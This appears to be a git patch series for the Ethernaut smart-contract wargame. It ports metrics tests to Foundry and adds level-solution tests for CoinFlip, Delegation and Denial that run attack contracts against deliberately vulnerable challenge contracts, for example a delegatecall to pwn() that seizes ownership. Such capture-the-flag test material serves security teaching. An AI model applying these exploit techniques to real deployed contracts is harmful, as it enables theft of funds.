stats.createNewInstance(level_instance_4, level_factory_1, user2); + stats.createNewInstance(level_instance_5, level_factory_2, user2); + + assertEq(stats.getTotalNoOfLevelInstancesCreated(), 5); + assertEq(stats.getTotalNoOfPlayers(), 2); + + stats.submitSuccess(level_instance_1, level_factory_1, user); + stats.submitSuccess(level_instance_2, level_factory_2, user); + stats.submitFailure(level_instance_3, level_factory_3, user); + stats.submitSuccess(level_instance_4, level_factory_1, user2); + stats.submitFailure(level_instance_5, level_factory_2, user2); + + assertEq(stats.getTotalNoOfLevelInstancesCompleted(), 3); + assertEq(stats.getTotalNoOfFailedSubmissions(), 2); + + assertEq(stats.getNoOfInstancesForLevel(level_factory_1), 2); + assertEq(stats.getNoOfInstancesForLevel(level_factory_2), 2); + assertEq(stats.getNoOfInstancesForLevel(level_factory_3), 1); + + assertEq(stats.getNoOfCompletedSubmissionsForLevel(level_factory_1), 2); + assertEq(stats.getNoOfCompletedSubmissionsForLevel(level_factory_2), 1); + + assertEq(stats.getNoOfFailedSubmissionsForLevel(level_factory_2), 1); + assertEq(stats.getNoOfFailedSubmissionsForLevel(level_factory_3), 1); + } +} diff --git a/contracts/test/metrics/level.test.js b/contracts/test/metrics/level.test.js deleted file mode 100644 index 6ad1b3c50..000000000 --- a/contracts/test/metrics/level.test.js +++ /dev/null @@ -1,94 +0,0 @@ -const Statistics = artifacts.require('./metrics/Statistics.sol'); -const chai = require('chai'); -const { expect } = chai; -const { solidity } = require('ethereum-waffle'); - -chai.use(solidity); - -contract('Level metrics', (accounts) => { - let statistics; - - let [ - ETHERNAUT_ADDRESS, - PLAYER_ADDRESS_1, - PLAYER_ADDRESS_2, - LEVEL_FACTORY_ADDRESS_1, - LEVEL_FACTORY_ADDRESS_2, - LEVEL_FACTORY_ADDRESS_3, - LEVEL_INSTANCE_ADDRESS_1, - LEVEL_INSTANCE_ADDRESS_2, - LEVEL_INSTANCE_ADDRESS_3, - LEVEL_INSTANCE_ADDRESS_4, - LEVEL_INSTANCE_ADDRESS_5 - ] = accounts; - - before(async () => { - statistics = await Statistics.new(); - await statistics.initialize(ETHERNAUT_ADDRESS); - }) - - describe('Level metrics', function () { - describe('Addition of multiple levels', () => { - it('adds multiple levels', async () => { - await statistics.saveNewLevel(LEVEL_FACTORY_ADDRESS_1); - await statistics.saveNewLevel(LEVEL_FACTORY_ADDRESS_2); - await statistics.saveNewLevel(LEVEL_FACTORY_ADDRESS_3); - }); - }); - - describe("Creation of multiple level instances", () => { - before(async () => { - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_1); - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_2, LEVEL_FACTORY_ADDRESS_2, PLAYER_ADDRESS_1); - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_3, LEVEL_FACTORY_ADDRESS_3, PLAYER_ADDRESS_1); - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_4, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_2); - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_5, LEVEL_FACTORY_ADDRESS_2, PLAYER_ADDRESS_2); - }) - - it('checks no of level instances created', async () => { - expect((await statistics.getTotalNoOfLevelInstancesCreated()).toNumber()).to.equal(5) - }) - - it('checks total no of players', async () => { - expect((await statistics.getTotalNoOfPlayers()).toNumber()).to.equal(2) - }) - }) - - describe("Getting global level stats", () => { - before(async () => { - await statistics.submitSuccess(LEVEL_INSTANCE_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_1); - await statistics.submitSuccess(LEVEL_INSTANCE_ADDRESS_2, LEVEL_FACTORY_ADDRESS_2, PLAYER_ADDRESS_1); - await statistics.submitFailure(LEVEL_INSTANCE_ADDRESS_3, LEVEL_FACTORY_ADDRESS_3, PLAYER_ADDRESS_1); - await statistics.submitSuccess(LEVEL_INSTANCE_ADDRESS_4, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_2); - await statistics.submitFailure(LEVEL_INSTANCE_ADDRESS_5, LEVEL_FACTORY_ADDRESS_2, PLAYER_ADDRESS_2); - }) - - it('checks no of completed submissions', async () => { - expect((await statistics.getTotalNoOfLevelInstancesCompleted()).toNumber()).to.equal(3) - }) - - it('checks no of failed submissions', async () => { - expect((await statistics.getTotalNoOfFailedSubmissions()).toNumber()).to.equal(2) - }) - }) - - describe("Getting the level specific stats", () => { - it('checks the no of instances created for a level', async () => { - expect((await statistics.getNoOfInstancesForLevel(LEVEL_FACTORY_ADDRESS_1)).toNumber()).to.equal(2) - expect((await statistics.getNoOfInstancesForLevel(LEVEL_FACTORY_ADDRESS_2)).toNumber()).to.equal(2) - expect((await statistics.getNoOfInstancesForLevel(LEVEL_FACTORY_ADDRESS_3)).toNumber()).to.equal(1) - }) - - it('checks the no of completed instances of a level', async () => { - expect((await statistics.getNoOfCompletedSubmissionsForLevel(LEVEL_FACTORY_ADDRESS_1)).toNumber()).to.equal(2) - expect((await statistics.getNoOfCompletedSubmissionsForLevel(LEVEL_FACTORY_ADDRESS_2)).toNumber()).to.equal(1) - }) - - it('checks the no of failed instances of a level', async () => { - expect((await statistics.getNoOfFailedSubmissionsForLevel(LEVEL_FACTORY_ADDRESS_2)).toNumber()).to.equal(1) - expect((await statistics.getNoOfFailedSubmissionsForLevel(LEVEL_FACTORY_ADDRESS_3)).toNumber()).to.equal(1) - }) - }) - }); -}); - From e5213687b67593bdc5e3d4a5bfe455b481b8a95f Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Wed, 20 Mar 2024 18:22:25 -0500 Subject: [PATCH 08/35] =?UTF-8?q?=E2=9C=85=20Player=20core=20unit=20tests?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- contracts/test/metrics/Level.t.sol | 2 +- contracts/test/metrics/Player.t.sol | 137 ++++++++++++++++++++++++++ contracts/test/metrics/player.test.js | 131 ------------------------ 3 files changed, 138 insertions(+), 132 deletions(-) create mode 100644 contracts/test/metrics/Player.t.sol delete mode 100644 contracts/test/metrics/player.test.js diff --git a/contracts/test/metrics/Level.t.sol b/contracts/test/metrics/Level.t.sol index 650709086..fca243926 100644 --- a/contracts/test/metrics/Level.t.sol +++ b/contracts/test/metrics/Level.t.sol @@ -6,7 +6,7 @@ import {Utils} from "test/utils/Utils.sol"; import {Statistics} from "src/metrics/Statistics.sol"; -contract TestLeaderboard is Test { +contract TestLevel is Test { Statistics stats; Utils utils; diff --git a/contracts/test/metrics/Player.t.sol b/contracts/test/metrics/Player.t.sol new file mode 100644 index 000000000..0d94053cf --- /dev/null +++ b/contracts/test/metrics/Player.t.sol @@ -0,0 +1,137 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Statistics} from "src/metrics/Statistics.sol"; + +contract TestPlayer is Test { + Statistics stats; + + Utils utils; + + address payable ethernaut; + address payable user; + address payable user2; + address payable user3; + address payable level_factory_1; + address payable level_factory_2; + address payable level_instance_1; + address payable level_instance_2; + address payable level_instance_3; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + utils = new Utils(); + address payable[] memory users = utils.createUsers(9); + + ethernaut = users[0]; + vm.label(user, "Ethernaut"); + + user = users[1]; + vm.label(user, "User"); + + user2 = users[2]; + vm.label(user, "User 2"); + + user3 = users[3]; + vm.label(user, "User 3"); + + level_factory_1 = users[4]; + vm.label(level_factory_1, "Level Factory 1"); + + level_factory_2 = users[5]; + vm.label(level_factory_2, "Level Factory 2"); + + level_instance_1 = users[6]; + vm.label(level_instance_1, "Level Instance 1"); + + level_instance_2 = users[7]; + vm.label(level_instance_2, "Level Instance 2"); + + level_instance_3 = users[8]; + vm.label(level_instance_3, "Level Instance 3"); + + stats = new Statistics(); + stats.initialize(ethernaut); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Add new level factory. + function testLevel() public { + vm.startPrank(ethernaut); + stats.saveNewLevel(level_factory_1); + assertTrue(stats.doesLevelExist(level_factory_1)); + + vm.expectRevert("Level already exists"); + stats.saveNewLevel(level_factory_1); + + stats.createNewInstance(level_instance_1, level_factory_1, user); + assertTrue(stats.doesPlayerExist(user)); + + vm.expectRevert("Level doesn't exist"); + stats.createNewInstance(level_instance_1, level_factory_2, user); + + // should submit success for a level instance + stats.submitSuccess(level_instance_1, level_factory_1, user); + assertTrue(stats.isLevelCompleted(user, level_factory_1)); + + // uint256 timeElapsed = stats.getTimeElapsedForCompletionOfLevel( + // user, + // level_factory_1 + // ); + // assertEq(timeElapsed, 0); + + // should throw error if invalid player address provided during level submission + vm.expectRevert("Player doesn't exist"); + stats.submitSuccess(level_instance_1, level_factory_1, user2); + + // should throw error if player has not created a level instance yet and tries to submit + stats.saveNewLevel(level_factory_2); + stats.createNewInstance(level_instance_2, level_factory_2, user2); + vm.expectRevert("Instance for the level is not created"); + stats.submitSuccess(level_instance_1, level_factory_1, user2); + + // should not allow submission of a level that is completed + vm.expectRevert("Level already completed"); + stats.submitSuccess(level_instance_1, level_factory_1, user); + + // should submit failure for a level instance. + stats.createNewInstance(level_instance_2, level_factory_2, user); + + // Submitting 2 failures for the same level instance + stats.submitFailure(level_instance_2, level_factory_2, user); + stats.submitFailure(level_instance_2, level_factory_2, user); + assertFalse(stats.isLevelCompleted(user2, level_factory_2)); + + // should return total number of levels created + uint256 totalLevels = stats.getTotalNoOfLevelInstancesCreatedByPlayer(user); + assertEq(totalLevels, 2); + + // should return total number of levels completed + uint256 totalLevelsCompleted = stats.getTotalNoOfLevelInstancesCompletedByPlayer(user); + assertEq(totalLevelsCompleted, 1); + + // should return total number of levels failed + uint256 totalLevelsFailed = stats.getTotalNoOfFailedSubmissionsByPlayer(user); + assertEq(totalLevelsFailed, 2); + + // should return percentange of levels completed + uint256 percentage = stats.getPercentageOfLevelsCompleted(user); + assertEq(percentage, 0.5 ether); + + // should calculate time taken for completion of a level + stats.createNewInstance(level_instance_1, level_factory_1, user3); + stats.createNewInstance(level_instance_2, level_factory_1, user3); + stats.createNewInstance(level_instance_3, level_factory_1, user3); + stats.submitSuccess(level_instance_3, level_factory_1, user3); + assertEq(stats.getTimeElapsedForCompletionOfLevel(user3, level_factory_1), 3); + } +} diff --git a/contracts/test/metrics/player.test.js b/contracts/test/metrics/player.test.js deleted file mode 100644 index 9029e9368..000000000 --- a/contracts/test/metrics/player.test.js +++ /dev/null @@ -1,131 +0,0 @@ -const Statistics = artifacts.require('./metrics/Statistics.sol'); -const chai = require('chai'); -const { expect } = chai; -const { solidity } = require('ethereum-waffle'); -const { ethers } = require('hardhat'); - -chai.use(solidity); - -contract('Player metrics', (accounts) => { - let statistics; - - let [ - ETHERNAUT_ADDRESS, - PLAYER_ADDRESS_1, - PLAYER_ADDRESS_2, - PLAYER_ADDRESS_3, - LEVEL_FACTORY_ADDRESS_1, - LEVEL_FACTORY_ADDRESS_2, - LEVEL_INSTANCE_ADDRESS_1, - LEVEL_INSTANCE_ADDRESS_2, - LEVEL_INSTANCE_ADDRESS_3 - ] = accounts; - - describe('Statistics', function () { - describe('Creation of statistics contract', () => { - it('should create a new statistics contract', async () => { - statistics = await Statistics.new(); - await statistics.initialize(ETHERNAUT_ADDRESS); - expect(statistics.address).to.contain('0x'); - }); - }); - - describe('Addition of a new level factory address', () => { - it('should add a new level factory address', async () => { - await statistics.saveNewLevel(LEVEL_FACTORY_ADDRESS_1); - await expect(await statistics.doesLevelExist(LEVEL_FACTORY_ADDRESS_1)).to.be.true; - }); - - it('should prevent the addition of already added level factory', async () => { - await expect(statistics.saveNewLevel(LEVEL_FACTORY_ADDRESS_1)) - .to.be.revertedWith("Level already exists"); - await expect(await statistics.doesLevelExist(LEVEL_FACTORY_ADDRESS_2)).to.be.false; - }); - }); - - - describe('Creation of a level instance', () => { - it('should create a new level stats instance', async () => { - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_1); - }) - - it('checks if player address is correctly added to players list', async () => { - await expect(await statistics.doesPlayerExist(PLAYER_ADDRESS_1)).to.be.true; - }) - - it('should throw error if invalid level factory address provided during level stats creation', async () => { - await expect(statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_1, LEVEL_FACTORY_ADDRESS_2, PLAYER_ADDRESS_1)) - .to.be.revertedWith("Level doesn't exist"); - }) - }) - - describe("Success submission of a level instance", () => { - it('should submit success for a level instance', async () => { - await statistics.submitSuccess(LEVEL_INSTANCE_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_1); - await expect(await statistics.isLevelCompleted(PLAYER_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1)).to.be.true; - const timeElapsed = await statistics.getTimeElapsedForCompletionOfLevel(PLAYER_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1) - await expect(timeElapsed>0).to.be.true - }) - - it('should throw error if invalid player address provided during level submission', async () => { - await expect(statistics.submitSuccess(LEVEL_INSTANCE_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_2)) - .to.be.revertedWith("Player doesn't exist"); - }) - - it('should throw error if player has not created a level instance yet and tries to submit', async () => { - await statistics.saveNewLevel(LEVEL_FACTORY_ADDRESS_2); - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_2, LEVEL_FACTORY_ADDRESS_2, PLAYER_ADDRESS_2); - await expect(statistics.submitSuccess(LEVEL_INSTANCE_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_2)) - .to.be.revertedWith("Instance for the level is not created"); - }) - - it('should not allow submission of a level that is completed', async () => { - await expect(statistics.submitSuccess(LEVEL_INSTANCE_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_1)) - .to.be.revertedWith("Level already completed"); - }) - }) - - describe("Failure submission of a level instance", () => { - it('should submit failure for a level instance', async () => { - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_2, LEVEL_FACTORY_ADDRESS_2, PLAYER_ADDRESS_1); - // Submitting 2 failures for the same level instance - await statistics.submitFailure(LEVEL_INSTANCE_ADDRESS_2, LEVEL_FACTORY_ADDRESS_2, PLAYER_ADDRESS_1); - await statistics.submitFailure(LEVEL_INSTANCE_ADDRESS_2, LEVEL_FACTORY_ADDRESS_2, PLAYER_ADDRESS_1); - await expect(await statistics.isLevelCompleted(PLAYER_ADDRESS_2, LEVEL_FACTORY_ADDRESS_2)).to.be.false; - }) - }) - - describe("Total number of levels created", async () => { - it('should return total number of levels created', async () => { - const totalLevels = await statistics.getTotalNoOfLevelInstancesCreatedByPlayer(PLAYER_ADDRESS_1); - await expect(totalLevels.toNumber()).to.equal(2); - }) - - it('should return total number of levels completed', async () => { - const totalLevels = await statistics.getTotalNoOfLevelInstancesCompletedByPlayer(PLAYER_ADDRESS_1); - await expect(totalLevels.toNumber()).to.equal(1); - }) - - it('should return total number of levels failed', async () => { - const totalLevels = await statistics.getTotalNoOfFailedSubmissionsByPlayer(PLAYER_ADDRESS_1); - await expect(totalLevels.toNumber()).to.equal(2); - }) - - it('should return percentange of levels completed', async () => { - const percentage = await statistics.getPercentageOfLevelsCompleted(PLAYER_ADDRESS_1); - expect(ethers.utils.formatEther(percentage.toString())).to.equal("0.5") - }) - }) - }); - - describe("Calculation of time taken for completion of a level", async () => { - it('should calculate time taken for completion of a level', async () => { - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_3); - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_2, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_3); - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_3, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_3); - await statistics.submitSuccess(LEVEL_INSTANCE_ADDRESS_3, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_3); - expect((await statistics.getTimeElapsedForCompletionOfLevel(PLAYER_ADDRESS_3, LEVEL_FACTORY_ADDRESS_1)).toNumber()).to.equal(3); - }) - }) -}); - From 048a6b5342cc32236c03ea93ee558790c80bee52 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Wed, 20 Mar 2024 19:50:02 -0500 Subject: [PATCH 09/35] =?UTF-8?q?=E2=9C=A8=20CoinFlip=20foundry=20test?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- contracts/test/levels/Coinflip.t.sol | 68 ++++++++++++++++++++++++++++ contracts/test/utils/Utils.sol | 34 +++++++++++++- 2 files changed, 101 insertions(+), 1 deletion(-) create mode 100644 contracts/test/levels/Coinflip.t.sol diff --git a/contracts/test/levels/Coinflip.t.sol b/contracts/test/levels/Coinflip.t.sol new file mode 100644 index 000000000..7c9b185ba --- /dev/null +++ b/contracts/test/levels/Coinflip.t.sol @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {CoinFlip} from "src/levels/CoinFlip.sol"; +import {CoinFlipFactory} from "src/levels/CoinFlipFactory.sol"; +import {CoinFlipAttack} from "src/attacks/CoinFlipAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestCoinflip is Test, Utils { + Ethernaut ethernaut; + CoinFlip instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + CoinFlipFactory factory = new CoinFlipFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = CoinFlip(createLevelInstance(ethernaut, Level(address(factory)))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.prank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + CoinFlipAttack attacker = new CoinFlipAttack(); + + // To weaponize this attack you'd need to pole for a new block to be mined, as the contract only allows one flip per block. + for (uint256 i = 0; i < 10; i++) { + vm.roll(block.number + 1); + attacker.attack(address(instance)); + console.log(i); + } + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/utils/Utils.sol b/contracts/test/utils/Utils.sol index 7c285d6f7..f4c96949a 100644 --- a/contracts/test/utils/Utils.sol +++ b/contracts/test/utils/Utils.sol @@ -3,6 +3,11 @@ pragma solidity ^0.8.0; import "forge-std/Test.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; +import {Statistics} from "src/metrics/Statistics.sol"; +import {ProxyStats} from "src/proxy/ProxyStats.sol"; +import {Level} from "src/levels/base/Level.sol"; + contract Utils is Test { bytes32 internal nextUser = keccak256(abi.encodePacked("user address")); @@ -13,7 +18,7 @@ contract Utils is Test { } // create users with 100 ETH balance each - function createUsers(uint256 userNum) external returns (address payable[] memory) { + function createUsers(uint256 userNum) public returns (address payable[] memory) { address payable[] memory users = new address payable[](userNum); for (uint256 i = 0; i < userNum; i++) { address payable user = this.getNextUserAddress(); @@ -29,4 +34,31 @@ contract Utils is Test { uint256 targetBlock = block.number + numBlocks; vm.roll(targetBlock); } + + function createLevelInstance(Ethernaut ethernaut, Level level) public returns (address instance) { + vm.recordLogs(); + ethernaut.createLevelInstance(level); + Vm.Log[] memory entries = vm.getRecordedLogs(); + + instance = address(uint160(uint256(entries[0].topics[2]))); + } + + function submitLevelInstance(Ethernaut ethernaut, address instance) public returns (bool) { + vm.recordLogs(); + ethernaut.submitLevelInstance(payable(instance)); + Vm.Log[] memory entries = vm.getRecordedLogs(); + + if (entries.length > 1) { + return true; + } else { + return false; + } + } + + function getEthernautWithStatsProxy(address owner) public returns (Ethernaut) { + Ethernaut ethernaut = new Ethernaut(); + Statistics stats = Statistics(address(new ProxyStats(address(new Statistics()), owner, address(ethernaut)))); + ethernaut.setStatistics(address(stats)); + return ethernaut; + } } From 75cb544e3a24d8ab9ef9659d986587b4b303cc0c Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Wed, 20 Mar 2024 19:53:06 -0500 Subject: [PATCH 10/35] =?UTF-8?q?=E2=9C=A8=20Delegation=20foundry=20test?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- contracts/test/levels/CoinFlip.test.js | 69 ------------------------ contracts/test/levels/Coinflip.t.sol | 1 - contracts/test/levels/Delegation.t.sol | 62 +++++++++++++++++++++ contracts/test/levels/Delegation.test.js | 63 ---------------------- 4 files changed, 62 insertions(+), 133 deletions(-) delete mode 100644 contracts/test/levels/CoinFlip.test.js create mode 100644 contracts/test/levels/Delegation.t.sol delete mode 100644 contracts/test/levels/Delegation.test.js diff --git a/contracts/test/levels/CoinFlip.test.js b/contracts/test/levels/CoinFlip.test.js deleted file mode 100644 index f8282a01f..000000000 --- a/contracts/test/levels/CoinFlip.test.js +++ /dev/null @@ -1,69 +0,0 @@ -const CoinFlipFactory = artifacts.require('./levels/CoinFlipFactory.sol'); -const CoinFlip = artifacts.require('./levels/CoinFlip.sol'); -const CoinFlipAttack = artifacts.require('./attacks/CoinFlipAttack.sol'); -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('CoinFlip', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await CoinFlipFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should fail if the player did not solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - CoinFlip - ); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - CoinFlip - ); - const attacker = await CoinFlipAttack.new(); - - // To weaponize this attack you'd need to pole for a new block to be mined, as the contract only allows one flip per block. testrpc automatically mines blocks when transactions are sent, so no need to account for it here. - - for (var i = 0; i < 10; i++) { - await attacker.attack(instance.address); - } - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isTrue(completed); - }); -}); diff --git a/contracts/test/levels/Coinflip.t.sol b/contracts/test/levels/Coinflip.t.sol index 7c9b185ba..21028df35 100644 --- a/contracts/test/levels/Coinflip.t.sol +++ b/contracts/test/levels/Coinflip.t.sol @@ -60,7 +60,6 @@ contract TestCoinflip is Test, Utils { for (uint256 i = 0; i < 10; i++) { vm.roll(block.number + 1); attacker.attack(address(instance)); - console.log(i); } assertTrue(submitLevelInstance(ethernaut, address(instance))); diff --git a/contracts/test/levels/Delegation.t.sol b/contracts/test/levels/Delegation.t.sol new file mode 100644 index 000000000..7008d8b55 --- /dev/null +++ b/contracts/test/levels/Delegation.t.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Delegation} from "src/levels/Delegation.sol"; +import {DelegationFactory} from "src/levels/DelegationFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestDelegation is Test, Utils { + Ethernaut ethernaut; + Delegation instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + DelegationFactory factory = new DelegationFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Delegation(createLevelInstance(ethernaut, Level(address(factory)))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.prank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + (bool success, ) = address(instance).call(abi.encodeWithSignature("pwn()")); + require(success, "call not successful"); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Delegation.test.js b/contracts/test/levels/Delegation.test.js deleted file mode 100644 index 8ccf07941..000000000 --- a/contracts/test/levels/Delegation.test.js +++ /dev/null @@ -1,63 +0,0 @@ -const DelegationFactory = artifacts.require('./levels/DelegationFactory.sol'); -const Delegation = artifacts.require('./levels/Delegation.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Delegation', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await DelegationFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should allow the player to solve the level', async function () { - // Get instance, which should be owned by the level - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Delegation - ); - // console.log(`player:`, player) - // console.log(`factory:`, level.address) - let owner = await instance.owner.call(); - // console.log(`instance owner:`, level.address) - assert.equal(owner, level.address); - - // Use the fallback method to call the delegate's pwn() - const pwner = web3.utils.sha3('pwn()').substring(0, 10); - await web3.eth.sendTransaction({ - from: player, - to: instance.address, - data: pwner, - }); - - // Player should own the instance now - owner = await instance.owner.call(); - // console.log(`new instance owner:`, owner) - assert.equal(owner, player); - - // Factory check - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); -}); From 590fdaac3dff6aed625e1c2a85076367202934a4 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Wed, 20 Mar 2024 19:56:17 -0500 Subject: [PATCH 11/35] =?UTF-8?q?=F0=9F=9A=A7=20Denial=20foundry=20test=20?= =?UTF-8?q?wip?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- contracts/test/levels/Denial.t.sol | 63 ++++++++++++++++++++++++++++++ contracts/test/utils/Utils.sol | 4 +- 2 files changed, 65 insertions(+), 2 deletions(-) create mode 100644 contracts/test/levels/Denial.t.sol diff --git a/contracts/test/levels/Denial.t.sol b/contracts/test/levels/Denial.t.sol new file mode 100644 index 000000000..f72c5aa85 --- /dev/null +++ b/contracts/test/levels/Denial.t.sol @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Denial} from "src/levels/Denial.sol"; +import {DenialFactory} from "src/levels/DenialFactory.sol"; +import {DenialAttack} from "src/attacks/DenialAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestDenial is Test, Utils { + Ethernaut ethernaut; + Denial instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + DenialFactory factory = new DenialFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Denial(payable(createLevelInstance(ethernaut, Level(address(factory), value)))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.prank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + DenialAttack denialAttack = new DenialAttack(); + instance.setWithdrawPartner(address(denialAttack)); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/utils/Utils.sol b/contracts/test/utils/Utils.sol index f4c96949a..2c6ab7b07 100644 --- a/contracts/test/utils/Utils.sol +++ b/contracts/test/utils/Utils.sol @@ -35,9 +35,9 @@ contract Utils is Test { vm.roll(targetBlock); } - function createLevelInstance(Ethernaut ethernaut, Level level) public returns (address instance) { + function createLevelInstance(Ethernaut ethernaut, Level level, uint256 value) public returns (address instance) { vm.recordLogs(); - ethernaut.createLevelInstance(level); + ethernaut.createLevelInstance{value: value}(level); Vm.Log[] memory entries = vm.getRecordedLogs(); instance = 